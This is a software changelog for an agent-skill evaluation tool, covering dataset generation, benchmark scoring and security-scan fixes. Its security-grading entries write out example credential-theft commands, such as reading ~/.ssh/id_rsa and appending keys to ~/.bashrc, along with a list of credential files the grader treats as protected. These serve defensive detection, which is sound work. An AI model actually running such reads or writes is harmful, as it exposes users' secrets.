create-eval-datasetandDatasetOptionsnow default toautogrounding: substantive author guidance beyond headings first, then usable matching retained trajectories from completed skill-scoped runs. Missing input fails before provider access, collection, or writes; existing skill-only scripts must pass--grounding skill, even with--no-llm. Auto trace selection preserves authored cases and flags unmatched coverage and observed answers for review; retained identity and trace files are checked before reading, and legacycaseswrappers retain root metadata when converted toevals. Provenance records the effective grounding and retained source hashes; auto trace refinement records template fallback and a safe reason when its LLM operation is unavailable or fails, preserving authored expectations and review state. Auto leaves existing datasets unchanged without--forceor--refine, including when matching traces exist; explicit trace grounding still opts into in-place refinement. When auto selects traces, answer proposals that describe skill use leave the inferred expected outcome empty for independent authoring and review; existing authored expectations are retained. Recovery guidance and examples name usable author inputs, retained-results refinement, and explicit skill-only opt-in. Explicit grounding modes remain available. Unattended autopilot keeps its skill-grounded one-case starter behavior.Give staged Tier 3 main images a fixed liveness healthcheck so Docker Compose 2 can wait for readiness while authored image healthchecks remain suppressed. Keep custom service healthchecks and their readiness dependencies intact.
Generated eval datasets no longer grade skill use. Template cases from
create-eval-dataset, and the one starter case thatvalidate,tier3andtier3 evaluate --autopilotwrite when no dataset exists, asserted that the agent readSKILL.md, ran the skill's script, or used or identified the skill. The no-skill baseline is graded on the same expected output and assertions and could not meet them, so itsbehavior_check,accuracyandgoal_accuracyscores dropped and lift was inflated. Template cases now describe only the task outcome, and do not quote a skill description that names the skill or its script; a template prompt calls aSKILL.mdnamed in the descriptionmy SKILL.md. The LLM generation and--refineprompts ask for outcome checks, and template--refineno longer turns reads or runs ofSKILL.md, the skill directory or the skill's scripts into behaviors. The autopilot starter case leaves out LLM orEVAL.mdtext that grades skill use, andcreate-eval-datasetprints a warning for each generated case that still grades it. The starter case frominit-custom-graderandinit-harbor-taskasserts the task outcome instead of "using the relevant skill workflow". The negative template case is unchanged.tier3 validatenow warns when a prompt points at the skill's files or an expected output or assertion grades skill use, including runs of the skill's own scripts. The warning fails--strictand the strict dataset check that all-tier CI runs before its advisory Tier 3 step; it never blocks a local run or autopilot. On newly generated datasets, baseline scores rise and lift falls; existing datasets are not rewritten.Tier 3 tool efficiency counts writing, editing and patching files, scoped native searches and listings (
Grep,Glob,LS, OpenCodelist, Codexlist_dirandgrep_files) and MCP tools namedmcp__server__tool(Claude Code) as productive. An MCP filesystem search or listing whosepathordir_pathis/is a root search and counts as waste. Most of these counted as wasted before, so a with-skill trial that read the skill, edited four files and ran the tests scored tool efficiency 0.33. Codex and OpenCode MCP calls, which are recorded under the bare tool name or asserver_tool, are not recognized as MCP calls yet. Codex names with a namespace, such asfunctions.apply_patch, are classified by the bare name. Planning and bookkeeping calls (TodoWrite,update_plan,TaskCreateandTaskUpdate, background-shell polling such asBashOutput, and sub-agent calls) are left out of the score, and the reason says how many were not counted. A trial with only such calls scores 0.0, so a trial whose only calls wereBashOutputorKillShelldrops from 1.0 to 0.0. Polling a background shell no longer counts as running a command, while a command typed into a Codexwrite_stdinsession or run byMonitoris classified like any other command. Help, version and install words are matched in commands only, so a file path or patch text that mentionspip installis not waste. Efficiency scores rise for write-, edit-, patch-, search- and MCP-heavy runs. Root searches in commands recorded as an argument list, such as Codex["bash", "-lc", "find / -name x"], now count as waste, and so do help, version and install commands recorded that way, like the same command written as text.
Documentation
The 0.8.0 entry for refused
claude-codeattempts said the arm reports its coverage error, buttier3 evaluatedoes not print that error by default. After one refusal in 20 cases with 3 attempts each, the arm lacks complete attempt coverage, the run'sresult.jsonrecordsScored attempt coverage is 59/60, andtier3 evaluateexits 1, as doesvalidate --block-on-agent-eval.tier3 evaluate --verboselists the refused trial. Before 0.8.0, on a route that serves the fallback model, such as the Anthropic API, that model finished such an attempt and it was scored. Rerun the arm on another model with--agent-model claude-code=MODEL; the model is chosen per agent, not per case.The 0.8.0 entry for Tier 2 shared review blocks said a short text repeated under long headings stays inline. Once a cluster is over budget, heading length does not affect which repeated bodies are shared: the heading line stays with every occurrence either way, so a short body under short headings stays inline too.
The 0.8.0 entry for capitalized
HTTPmethod prose left out three forms that 0.8.0 still flags: a method word before a backtick word, such as an inline code span, as before a$VARword; a Markdown table row with anHTTPword in any cell, because|reads as a pipe; andHTTP PUTright after a;, which starts a new command.Reports & Results now explains the completed-agent result in Tier 3 reports. When one of several agents fails, the HTML report and
tier3-benchmark.mdshow the best agent's score when that agent's evidence is complete and mark it as needing attention, while the run stays failed and has no whole-run score. The new section says when an agent qualifies, how recovered timeout attempts are shown, and that the HTML lift card still shows the best agent's lift. The results tree now liststier3-benchmark.md, which every Tier 3 run, fromtier3 evaluateor avalidaterun that includes Tier 3, writes as a pair withreport.html, and the live evaluation guide says when its verdict table applies and links to the new section.
Fixed
Harbor local mode keeps exclusion and filtered download archives inside the allowed run directory, so pinned Harbor 0.25 transfers copy selected file contents without granting host
/tmpaccess. Filters retain exact protected paths, and failed scans or unsafe destinations leave outputs untouched.Configure CLI stdout to replace characters that its encoding cannot represent, so reports and root help complete on legacy Windows code pages. JSON dataset previews and validation output preserve Unicode values, using readable characters when the output encoding supports them and escapes otherwise.
Required Tier 3 judges recheck their wall-time deadline before accepting a result, including when a dependency or logging handler swallowed the timeout exception. Expired calls remain scoreless errors and restore their caller's deadline context.
skillevaluator viewno longer asks the LLM again when it regenerates a missingreport.htmlfor a Tier 3 run that saved its report feedback inresult.json. The regenerated report shows the conclusions, recommendations, and suggestions that run produced, makes no LLM call, and reuses the run'swhat_to_fix.jsonwhen it has one. It also takes the run's duration and any Harbor log links recorded inresult.json, which the 0.8.0 rebuild left out. In 0.8.0 the Insights judge and the what-to-fix writer ran again: with a provider configured that cost tokens and could change the advice, without one the run's saved LLM advice was dropped, and either waywhat_to_fix.jsonwas overwritten. Feedback saved by 0.6.0 or earlier has no per-case verdict, so the regenerated report adds the verdict and lists the case fixes as its recommendations and suggestions, without the LLM, as a new report does. A run that saved no feedback still has its feedback rebuilt, with the LLM when a provider is configured, and itswhat_to_fix.jsonrewritten.Generated Tier 3 images now build when any staged skill declares packages in
apt-packages.txt. The generatedapt-get installline ended the base package list with\ \, so the shell passed apt-get a package named " " and the build failed withUnable to locate package. This affected the shared eval base image, generated task Dockerfiles and the default Dockerfile for native Harbor tasks.Public MCP URL probes handle modern SDK client and stream APIs while retaining checked-address connections, header grants, response limits, and bounded cleanup. Redirect responses are refused before SDK-level redirect handling. Isolated wheel tests cover SDK 1.28.1 and 2.3.0; the supported Tier 3 dependency range remains unchanged.
Apply the existing MCP declaration policy to native Harbor task environments before staging. Preserve approved
$VARheader references by converting them to Harbor 0.25's${VAR}form in generated task TOML, without changing source declarations or agent JSON configuration.Validate native verifier and step-verifier MCP references against their verifier environment grants, retaining agent grants for agent servers and the legacy default when no separate verifier grants are supplied. Invalid declarations provide field/type and
${VAR}hints without echoing values.Keep local
/logs/artifacts,HARBOR_LOGS_DIR/artifacts, andHARBOR_ARTIFACTS_DIRon the same private staging tree. Artifact collection preserves source files and retained role logs; local whole-log-tree transfers fail before modifying their destination.With default or default-plus-custom grading, a Tier 3 task image now fails to build when
python3 -Icannot import the verifier's packages: idna, openai, ragas or boto3. This happens, for example, when a custom Dockerfile setsENV PIP_USER=1, or when the packages are reachable only throughPYTHONPATH. The build-time import check ran plainpython, which sees those locations.test.shruns the verifier aspython3 -I, which does not. Such images built, and then every trial's verifier failed onimport idna, or the goal-accuracy judge fell back from RAGAS to the custom judge when only ragas was hidden. The check now runs aspython3 -I.custom_onlygrading never runs that verifier, so its images no longer run the check.Repository CI can opt in to reviewed, per-skill SkillSpector baselines from the PR or merge request's target revision. Policy files from the proposed changes cannot approve their own exceptions.
The
ci/gitlab/skill-evaluation.ymltemplate honorsTMPDIRfor temporary scan reports and defaults to/tmp.skillevaluator validateon a target with no skill, rules, workflows, or plugin, such as an ordinary source repository, no longer fails Tier 1 with threeNo skills founderrors and exit 1 when every content scan passes. When--type autodetects the type asunknown, theschema,version, andqualitychecks are now recorded as not applicable, never as passes: the terminal summary and the HTML report count them as N/A, and the JSON and Markdown reports list them as skipped with anot applicablereason. The JSON report of every such run adds a roottier1_applicabilityobject. The content scans still run with their unrestricted scope, so a real finding still fails the run; such a run is never eligible for publication. A target folder whose ownSKILL.md,workflow-rules.mdc,agent_plugin.yaml/.yml, or.claude-plugin/plugin.jsonis mis-cased (such asSkill.md) or a dangling symlink still fails its manifest checks, and--type skillstill validates the target as a skill.The unknown-artifact CLI guidance links to the published content-types documentation route.
Security checks preserve authored evaluation files and their findings while excluding generated outputs. Fully inspected skills with only missing-path reference caveats retain visible warnings instead of an incomplete-scan failure; actual coverage gaps and analyzer failures still block.
PII findings clarify that required author attribution is accepted while duplicate contact addresses need removal, replacement, or a reviewed waiver.
Docker OpenCode containers no longer get the distribution
nodejsandnpmpackages from agent setup, except on Alpine images, and generated images now includeprocps. Before, OpenCode, the default agent with NVIDIA Build, installed Debian's Node.js and npm withapt-getin every trial and then its own Node.js with nvm, and Claude Code installedprocps(forpgrep) in every trial. Both took time from the 360-second agent setup timeout, and a package mirror error failed the trial. Like Claude Code and Codex containers since 0.6.0, OpenCode containers on Debian-based images now have nogcc,g++, ormake, and OpenCode's Node.js is onPATHonly for the OpenCode process and the commands it runs, including its stdio MCP servers. Skills whose scripts, tasks, or verifier need these tools, or whose stdio MCP servers needgcc,g++, ormake, must install them throughscripts/apt-packages.txtor a customevals/environment/Dockerfile. Generated images rebuild once for the new package list: the per-task images, or the shared base image whenharbor.base_image_modeisreuse.A
tier3 evaluate --skip-with-skillrun with two or more agents now records the dataset-size status inresult.jsonand thetier3 evaluatesummary. It is taken from the agent with the best baseline score, as in the reports.rubric-evalnow asks the judge once more, naming the problem, when its reply is not valid JSON or its criterion evidence cannot be scored: a criterion is missing, repeated or unknown, or has a score outside 0 to 10 or a pass flag that is not a boolean. In 0.8.0 the first such reply failed Tier 1 with a HIGHllm_invalid_responseorllm_unavailablefinding; now only a second one does. The LLM client still retries transient provider errors as set bySKILL_EVAL_LLM_MAX_RETRIES; a request that still fails after those retries, a refusal or a truncated reply is not asked again. The JSON report recordsjudge_attempts, the number of times the judge was asked (1, or 2 after a rejected reply, not counting the client's retries), in the skill'srubric_evalsuccess detail orllm_*finding and, for a single skill, also in therubric_evalobject. It is left out when the first request fails, for example with no provider configured. Rejection diagnostics redact judge-supplied credentials before shortening the reason, and collapse whitespace and controls to printable single-line text in logs, retry notes and final invalid-response findings and summaries.A default Tier 3 run with a baseline can reach a PASS or NEUTRAL publication verdict in BENCHMARK.md again. The baseline arm has no skill under test, so it records
skill_executionandskill_efficiencyas not applicable and has no Discoverability or Efficiency baseline. The publication check treated those two dimensions as missing evidence and compared Skill Lift with the five-dimension score, so those cards said INCOMPLETE instead. Discoverability and Efficiency now count as not applicable for the baseline when it recorded their skill metrics that way, and Skill Lift is checked over the dimensions both arms scored. On the card those two rows saybaseline N/Ainstead ofbaseline not run. Any other missing or inconsistent baseline still makes the card INCOMPLETE.BENCHMARK.mdno longer publishes an Overall uplift that disagrees withlift.jsonand the JSON, HTML, Markdown and terminal reports when a metric is N/A in only one arm. The Overall row now shows the two scores the published Skill Lift subtracts, which the canonical report records per agent aslift_overall, and notes when they differ from the arm overall scores. A cross-format test reconciles Overall and lift across every output of one run.The
dependencycheck now reports each pip-audit and Safety advisory as aDEPENDENCYfinding named by its advisory ID, at the requirements file and line, or thepyproject.toml, that pins the package. In 0.8.0 an advisory was only an error string such as[CVE-HIGH] pyyaml==5.3: ...: it failed the run, but JSONfindings, the severity counts and SARIF results left it out, and a policy overlay could not change its severity. The finding metadata binds the scanned version to the declared exact pin, or marks a Safety advisory that matches no audited pinunbound, and records the advisory source, fixed versions, aliases, and a runtime, dev, test, docs, or build role from the requirements file name or optional group. Safety's severity now also comes from the CVSS object it prints with an API key, so a CVSS 9.8 advisory iscriticaland fails the run, and a score that is not a number from 0 to 10 is skipped; in 0.8.0 that object stopped the check with anAttributeError. A Safety advisory that pip-audit already reported under the same ID or CVE is not repeated. Safety JSON with a nullseverityor a top-level list, and a pip-audit advisory with a nullseverity, no longer stop the check with anAttributeError. A Safetyadvisorythat is a number or null no longer stops it with aTypeError, and one that is an object no longer stops it with aKeyError. A pin on the line after a comment line that ends in a backslash is now audited; in 0.8.0 it was read as part of the comment, even thoughpip install -rinstalls it. A critical advisory does not stop a folder run before the remaining skills are audited. Line numbers in findings and warnings now count only line breaks an editor shows, so--hashcontinuation lines or a form feed before a pin no longer shift them. For every check, the CLI report now lists warnings that no finding repeats next to the findings, the Markdown report does so for anINCOMPLETEcheck without an error, escaping HTML in them as it does in errors, and a policy overlay that changes a finding's severity keeps those warnings, so the reason a scan isINCOMPLETEstays visible.Tier 3 dataset summaries honor explicit
should_triggerrouting labels before legacyexpected_skillvalues. Report insights distinguish unavailable trial scores from scored attempts that miss the pass threshold. Dataset snapshots use schema 1.1; valid schema 1.0 snapshots retain their original datasets and integrity checks, with corrected summaries projected without rewriting files.The JSON report of
skillevaluator validate,tier1ortier2on one skill folder lists that skill inskillsand under its author incontributors. A clean run with a narrowed check list, such as--checks schema, has no finding path or quality score to name the skill by, so the report listed one skill per check ID (manifest_exists,frontmatter_validand so on). It now uses the folder's name. TheBENCHMARK.mdof a run without a recorded Tier 3 version, such as--tiers 1, now records the evaluator version instead ofEvaluator version: not recorded (legacy or non-live result); a version recorded by a Tier 3 run still wins.skillevaluator tier1 .andtier2 ., run from inside the skill folder, name the skill in the JSONskillsandcontributorslists, astier1 <folder>does. The report took the name from the path as typed, which is empty for., so a clean run with a narrowed check list, such as--checks pii, listed no skill or one skill per check ID. The JSON that CI retains records the skill's path relative to the repository root astarget_path, no longer the absolute path of the runner's workspace.Tier 3 improvement recommendations respect each case's expected skill routing: passing negative controls no longer inherit activation-loss advice from positive cases, while failed negatives retain task, environment, and run-error diagnostics. The dataset snapshot is read once per recommendation pass across all cases and agents.
Tier 2 includes qualifying shell comment blocks at end of file in context deduplication. Previously those blocks disappeared unless a blank line or code followed them, which could hide repeated guidance across shell files.
Tier 3 decodes the native Codex
execwrappers that Codex 0.161.0 emits: inlinetext(await tools.NAME(...)), single-quoted string literals, and literalPromise.allSettledbatches rendered by an indexedfor, indexedforEach, orforEach(text). Multi-call wrappers decode only when each call owns its own JSON record of the outer output; dynamic arguments, shadowed bindings, unsupported renderers, and missing, extra, reordered, or truncated records, including duplicate JSON keys, remain unsupported. A nonzero exit code or rejected promise in a record is graded as a failure. This restores security and skill-execution scoring for those wrappers instead of the neutral fallback.All-tier CI retains Tier 2's native reports as advisory while preserving failed and incomplete evaluation outcomes. GitHub
ci statusvalidates the pinned evaluation and feedback configuration before reporting readiness, including malformed YAML and missing approval inputs. Candidate onboarding pins include the reviewed CI fixes and matching runtime metadata. Use the verified released Tier 1 image so valid multi-valuedmetadata.domainfields also work in new all-tier consumers.Private native Claude Code staging keeps the source client's skill declarations: Codex paths that Codex ignores are no longer copied into the staged
plugin.json(where Claude Code rejected or loaded them), and undotted Cursor skill roots become./paths Claude Code accepts.Tier 3 security grading now finds credential reads and protected-file writes however the path names the home directory:
/home/<user>,/Users/<user>,/root,$HOME,${HOME},~user, orC:\Users\<user>, also with//,/./, ordir/..segments. In 0.8.0,cat /home/agent/.ssh/id_rsa,cat $HOME/.ssh/id_rsa, aReadof/home/agent/.ssh/id_rsa, andecho x >> /home/agent/.bashrcscored Security 1.0, because only the literal~/and/root/forms matched; they now score 0.0. More credential stores are checked (~/.aws/config,~/.azure,~/.kube/config,~/.docker/config.json,~/.netrc,~/.git-credentials,~/.config/gh/hosts.yml,~/.pypirc,~/.npmrc); as with~/.ssh, a command that only names one, such askubectl --kubeconfig ~/.kube/config get pods, now scores 0.0 too. Writes to~/.bash_profile,~/.zprofile,~/.config/fish/config.fish,~/.ssh/authorized_keys,~/.gitconfig, and the Claude Code, Codex, and OpenCode settings in the home directory are checked as well. A shell command writes one of these files, or a home spelling of a file 0.8.0 already protected, when the file is the target of a redirection,tee, orsed -i, so reads such ascat ~/.gitconfig 2>/dev/nullandsource ~/.bashrc && cp dist/app.js "$OUT_DIR/"keep 1.0. As 0.8.0 does for~/.bashrc, text that only holds such a write also scores 0.0, such as a here-document that writes a README containingecho x >> ~/.zprofile. The 0.8.0 rule for~/.bashrc,/etc/sudoers, and the other files it protected is unchanged and still runs first, so every command that scored 0.0 in 0.8.0 still does. Both the host checker and the bundled Harbor verifier apply the fix.Treat empty and placeholder
expected_scriptvalues as no script expectation, and ignore placeholder-only expected behavior entries when grading datasets.Tier 3 security findings no longer keep credentials from the agent's commands, the user prompt, or the agent's response in their
evidence, which is saved inskill_evaluator_reward.json, the collected results, and the reports. In 0.8.0 a sensitive-path or sensitive-file-write finding stored the whole command or tool input, such asecho 'export OPENAI_API_KEY=...' >> ~/.bashrc; destructive-command, prompt-injection, and refusal findings stored their text unmasked; and network findings masked only known key shapes, so acurl -u user:passwordvalue was kept. Path findings now record the protected entry they matched, such as~/.bashrc, and the longest one when several match, so a write to/etc/profile.d/npm.shrecords/etc/profile.d. The other findings mask, as a best effort, private key blocks, URL user info (also a password that holds an@),Authorization, API-key, andCookieheader values (including quoted and shell-escaped cookie values), credential flags and assignments (also a double-quoted value with an escaped quote, and a value on a backslash-continued line),.netrcpasswords, and common token prefixes, and keep the rest of the command readable; a backslash-newline is joined, as in a shell, so a continued command shows as one line. A credential in another form, such as a.pgpassline, can still appear. Scores are unchanged. Because path findings name the entry, the without-skill baseline comparison now matches them by entry: a with-skill write to~/.bashrcis attributed to the baseline prompt or environment when the baseline also wrote to~/.bashrc, whatever each command wrote. Both the host checker and the bundled Harbor verifier apply the fix.Read JSON, JSONL and YAML evaluation datasets as UTF-8 so Unicode prompts and answers load correctly on hosts with a non-UTF-8 default text encoding.
Grader qualification resolves verifier source paths before provenance hashing, so source-directory aliases (including macOS
/tmp) retain the same relative file identities and hashes while files outside the source root are rejected.A Tier 1 security scan no longer stops as
INCOMPLETEwithskillspector JSON field 'analysis_completeness' reports incomplete analysis (status 'partial')when the skill's instructions name a file that SkillSpector did not scan, such as a file the skill writes at run time or a source file elsewhere in the repository. SkillSpector v2.12.0 to v2.13.3 record such a reference as a nonfatalreference_missingrow, and v2.10 and v2.11 asreference_unresolved. When these references are the report's only gaps, or the only gaps besides accepted referenced images, the scan now passes with a warning that names the file and line of up to three of them. A v2.13.3 report whose only gaps are such references, which the missing-path reference caveat above accepts from the report alone, now also has to meet the conditions below whenever the scan has a known target, as throughvalidate,tier1orsecurity-scan, and it keeps that caveat instead of this warning. Each row must be in a regular, single-link file that the report lists once and that is inside the skill and not reached through a symlink, and the report'sreferenceslist must record amissingreference on that line. The line must not name a symlink, a file the report does not list, a directory left out of the scanned copy, such asversions/ornode_modules/, anything in it, or a directory that holds any of these, also after Markdown escapes, character references and percent-escapes are decoded, or through a shell glob, expansion or quotes, a zsh group, numeric range, globbing flag orEXTENDED_GLOBoperator, a bash extended glob, a cmd.exe^escape, variable or batch parameter such as%DIR%,!DIR!or%~dp0, a PowerShell backtick escape, a\separator or a Windows 8.3 short name such asNODE_M~1. Only that line is read, and a command in it is not run, so a name on another line or one that a command prints, such as the output of a span in backticks, is not detected: the check keeps an instruction that names a left-out fileINCOMPLETE, but does not catch a skill written to hide one. Inside.git, Git's own files and directories, such asHEAD,configorrefs, do not count, but hooks other than*.sampletemplates and any other file there do. A lone file such asSKILL.mdis scanned on its own, so a line that names a file beside it keeps the scanINCOMPLETE. Tier 3 output in the default<skill>/evals/resultslocation, such asresults,report.htmlorsummary.json, or with--harbor-keep-jobsa copy of every bundled file, counts as not inspected too, so a line that names it keeps the scanINCOMPLETEafter a Tier 3 run, although it passed before. Keeping results outside the skill with--results-dirorSKILLEVALUATOR_RESULTS_DIRavoids that. Every missing reference in a skill scanned on its own inside a folder or plugin, such assecurity-scanorvalidateon a folder of skills, orvalidateon a plugin, also keeps that skill's scanINCOMPLETE. A reference that matches several bundled files (reference_unresolvedfrom v2.12.0), a fatal or other ledger row, an uninspected file, a degraded analyzer, a limitation, or fewer findings counted after filtering than before still leaves the scanINCOMPLETE. Every missing reference must match an accepted ledger location; ambiguous references, unknown completeness fields and truncated evidence remainINCOMPLETE. Nonfatal exclusions must name real uninspected paths. Line checks retain standalone shell wildcards and recognize escaped spaces, and accepted-reference warnings survive static/LLM finding deduplication. A refused reference includes a short acceptance hint and documentation link.Estimate Tier 1 instruction tokens from the parsed Markdown body, so
---inside YAML values or comments does not count frontmatter as instructions. Body separators without valid frontmatter no longer produce a spurious estimate.A Tier 1 security scan with SkillSpector v2.13.4 or later no longer stops as
INCOMPLETEwithskillspector JSON field 'analysis_completeness.status' is not recognizedwhen the skill's instructions name a file that the skill does not bundle. These releases report such a scan ascomplete_with_caveatsinstead ofpartial. SkillEvaluator now accepts the caveats under the same conditions as the missing references above and shows the same missing-reference warning, and checks the report's findings as in any other complete scan. A caveat that fails one of those conditions, such as a line that names a file left out of the scanned copy, leaves the scanINCOMPLETEand, as for apartialreport, still reports the findings. Unlike the v2.13.3 missing-path reference caveat, these caveats are never accepted from the report alone, so they leave a scan without a known targetINCOMPLETE, and an accepted report carries noskillspector_reference_caveatsentry. A report with that status and no caveat, or with a caveat that is not a nonfatalreference_missingrow in phasereference_resolution, is not trusted: the scan isINCOMPLETEwithout its findings, as withcomplete_with_caveatsfrom an earlier release.A PII finding no longer keeps its
evidence_sha256after CI redaction masks a credential inside the value the finding reports. In 0.8.0 the finding kept the digest of the unmasked value, so anyone holding the redacted report could confirm a guess for the masked part. Redaction now removes a digest that no longer matches the reported value.Truncated
--llm-verifyreplies with no complete verdicts no longer claim an answering model. Complete verdicts still retain their model, and other LLM parsers can still accept an empty result as complete evidence.Tier 2 context deduplication now checks each chat-LLM verdict before it becomes a finding. When present, the confidence must be a JSON number from 0 to 1, and the rationale and suggestion must be strings of at most 8,192 characters; a missing confidence still reads as 0, and a missing rationale or suggestion as empty. In 0.8.0 any value that
float()accepted was used: a confidence of85ortruemade a HIGH finding, and the string"NaN"made a MEDIUM finding whoseNaNconfidence then stopped the JSON and SARIF reports from rendering. A list or object in a text field reached the finding unchanged. Such a reply now counts as a failed analysis, so the scan is reported as incomplete, like any other malformed reply. The checks apply to every verdict, includingINTENTIONAL_DETAILandRELATED_BUT_DISTINCT, which never become findings: a skill that passed on 0.8.0 with such a reply, for example one with anullsuggestion or a"0.9"string confidence, is now reported as incomplete, and so is aDUPLICATEreply with a"0.9"confidence, which made a HIGH finding in 0.8.0.Tier 2 context deduplication now accepts more content chunks per skill. With NVIDIA Build's default embedding model (
nvidia/nemotron-3-embed-1b, 2,048 dimensions) and the OpenAI-compatible default (nvidia/nvidia/nemotron-3-embed-1b, the same model) the limit is now 724 chunks, and with OpenAI's defaulttext-embedding-3-small(1,536 dimensions) it is 836. All three were 512. In 0.8.0 a skill with more than 512 chunks stopped the scan as incomplete withchunk_count_limit, andvalidateexited 1 because Tier 2 gates by default. The chunk ceiling is now 1,024 and the scalar-comparison budget 536,346,624, so embeddings of up to 1,024 dimensions reach all 1,024 chunks. At 3,072 dimensions the limit is now 591, and at 4,096 it is 512, up from 418 and 362. A skill above its width's limit but within 1,024 chunks, such as 725 to 1,024 chunks with either 2,048-dimensional default, now stops after the first embedding batch withscalar_comparison_limitinstead of before any embedding request withchunk_count_limit. It is still reported as incomplete, with the same exit code. The cluster member limit follows the chunk ceiling to 1,024. The most clustering work one skill can need doubles with the budget, and the most embedding input it can send doubles with the ceiling, from 512 to 1,024 texts (724 with either 2,048-dimensional default).Tier 3 HTML evaluator cards now say when a judge metric's lift left out cases whose arms were scored by different judge models, for example after a judge fallback in one arm. The arm scores keep those cases, so a card could show Baseline 0.20 and With skill 0.50 next to a -0.40 lift with nothing explaining the gap. The card now notes
Lift leaves out 1 case scored by different judge models; the arm scores include it., or says that no comparable result remains when the card has no lift, and labels those casesLeft out of lift: different judge modelsin its per-trial evidence. In the canonical JSON the evaluator records the count inlift_excluded_cases, its card lists the cases incomparison_basis, and the matching evidence entries carrycomparison_excluded: true. Scores and lift are unchanged.Tier 2 context deduplication now numbers
SHARED CONTENT nblocks from the most repeated text, ties in first-seen order, instead of in first-seen order alone. In 0.8.0 a text repeated hundreds of times could get block 10 or later, whose references are one character longer. The cluster's request could then stay over 64,000 characters and stop the scan as incomplete withllm_prompt_size_limit, although numbering that text first would have brought it within budget. The texts to share are now chosen together to save the most characters: a text that saves only a few characters stays inline when sharing it would push another text past block 9 and cost more than it saves.Tier 2 deduplication no longer rescans a shell script once per function header. In 0.8.0 each
name() {header without a closing brace walked the rest of the script, and line numbers were counted from the start of the file for every function, so chunking grew with the square of the script's size: a 53 KiB script of such headers took about 20 seconds, and a 1 MiB one could take hours. Braces and line breaks are now indexed in one pass. Python files are also split into lines once instead of once per function or class. Chunk text and line ranges are unchanged.Tier 3 Measured Agent Resources no longer count idle or user time as LLM seconds when timing is inferred from step timestamps and an agent step with tool calls is followed by a user or system step. The whole gap up to that step, minus the measured tool time, was charged to the model, so a step with a 1 s tool call, followed 38 s later by a user step, added 37 LLM seconds. Only the agent's next step shows when the model finished with the tool output, so such a trial now has no LLM or tool seconds and, like other unmeasured trials, leaves its arm's LLM and tool totals
N/A(nullin JSON). Native ATIF timing is unchanged.Tier 3 reports no longer say
baseline not runfor an agent whose baseline arm ran but failed, for example after one baseline attempt hit the agent timeout.BENCHMARK.mdnow shows that agent's with-skill scores as90.0% — baseline incomplete (1 of 2 attempts scored); uplift unavailable, orbaseline unavailablewhen no baseline attempt scored, and keepsbaseline not runfor a skipped baseline. An Agent coverage list under the score table names each failed arm, including a failed with-skill arm, with its scored and expected attempts and the first Harbor exception type in words, such asagent timeout error; the Tier 3 row of the tier status table names the agent and arm. The JSON payload records the same facts incoverage_notices, which the HTML report shows under Agent coverage notes and the full terminal report (validate --verboseor-r cli) prints in the Tier 3 block, also when Tier 3 is non-blocking. The compact defaultvalidateview leaves them to the HTML and JSON reports andBENCHMARK.md. A failed arm still fails the agent and the run, and the notes say so.Tier 3 standard judges under
LLM_JUDGE_RETRY_POLICY=strictwith Bedrock as the provider no longer label a Bedrock error that the policy treats as an unavailable model, such as throttling, a missing or inaccessible model, or an unreachable endpoint, asPublic provider call failed. Where such an error is reported, in a failed judge'sevaluation_errorsreason and in theproblemof itsjudge_attempts.jsonentry, it now readsBedrock request failed, like a Bedrock error that ends the judge and like the defaultlegacypolicy.The interactive Tier 3 progress view (
--progress rich, orautoin a terminal) now keeps one height for the whole run, so redraws no longer leave repeated or jumbled table frames. The Provider and Run plan rows show a placeholder until the plan resolves, each row is one line that ends in an ellipsis when its value is too long, and stages fill a fixed number of rows, at least six and one per agent, showing the most recently updated. The agent models, provider and run plan are printed in full above the table whenever they change, and the table left on screen when the run ends lists every stage, with its full detail when the Detail column is at least 20 columns wide. A stopping agent's detail now starts with the second Ctrl+C hint, so a cut row still shows it. The view redraws only on progress events and heartbeats, no longer also from Rich's own refresh thread. If drawing fails, including a terminal write that would block, the table keeps its last frame with running stages still shown as running, a line says that the run continues, and no further progress is shown for that run; the final results still print. When the terminal also refuses that line, or the write that shows the cursor again, a line saying that the run went on is printed and the cursor is shown when the run ends. Frames the terminal refused are dropped then, so they are never drawn over output printed since. Before, a failure on the heartbeat thread ended that thread with a traceback and left the view active without updating elapsed times, and a failure on the caller's thread marked the running stages as failed.The Tier 3 terminal summary now shows
N/A, notNO SCORE, as the Skill Lift of an evaluator or dimension that is N/A in either arm, as the Markdown and HTML reports already do. Most runs with a baseline hit this: Skill Execution, Efficiency and Discoverability are N/A in a baseline with no skill it could activate,behavior_checkis N/A when the cases have noassertions(legacyexpected_behavior), andaccuracyandgoal_accuracywhen they have noexpected_output(legacyground_truth). In a baseline-only run (--skip-with-skill) the lift of every other row now readsskipped, as the docs and the Markdown report say. A lift that is missing for another reason still readsNO SCORE. The HTML report's Per-Evaluator Drill-Down now showsN/A, with the reason on hover, instead of—for a metric a trial recorded as N/A. The reports' reasons for an N/A Accuracy, Goal Accuracy or Behavior Check now name the dataset fieldsexpected_outputandassertionsbefore their legacy names.Tier 3 no longer scores a with-skill skill metric
1.0when the eval case gives it nothing to score.skill_efficiency(Efficiency) is now N/A for a negative case, such as the onecreate-eval-dataset --fullwrites, and bothskill_execution(Discoverability) andskill_efficiencyare N/A for a case that is not negative and names noexpected_skill, such as a legacy case withoutexpected_skillandshould_trigger. The same holds in a baseline arm that stages a skill the case could activate. The trial overall, pass@k and the arm's averages leave N/A metrics out, so absolute with-skill scores of these cases change: a negative case scoring 1.0 on Security and Discoverability and 0.8 on Correctness and Effectiveness now has an overall of 0.90, not 0.92. If no case is a positive case that names anexpected_skill, for example when every case is negative, Efficiency has no with-skill score and the agent cannot PASS; Discoverability has none either unless some case is negative. A trial without a trajectory keeps these metrics N/A too. A positive case with no tool calls still scores0.0, and Skill Lift is unchanged when the baseline has no skill it could activate, because both metrics are already N/A there. The HTML report now explains a with-skill N/A skill metric by the eval case, not by a missing skill, and a multi-step trial's collected reward keeps the N/A reason its steps' verifier recorded.The per-arm Tier 3 applicability table reflects negative-case Efficiency N/A and the expected-skill requirement for positive-case skill metrics.
Tier 3 baseline N/A explanations cover case-level applicability when a staged skill is available, including negative cases, instead of claiming no skill is installed. Dimension tooltips use the same explanation as evaluator summaries.
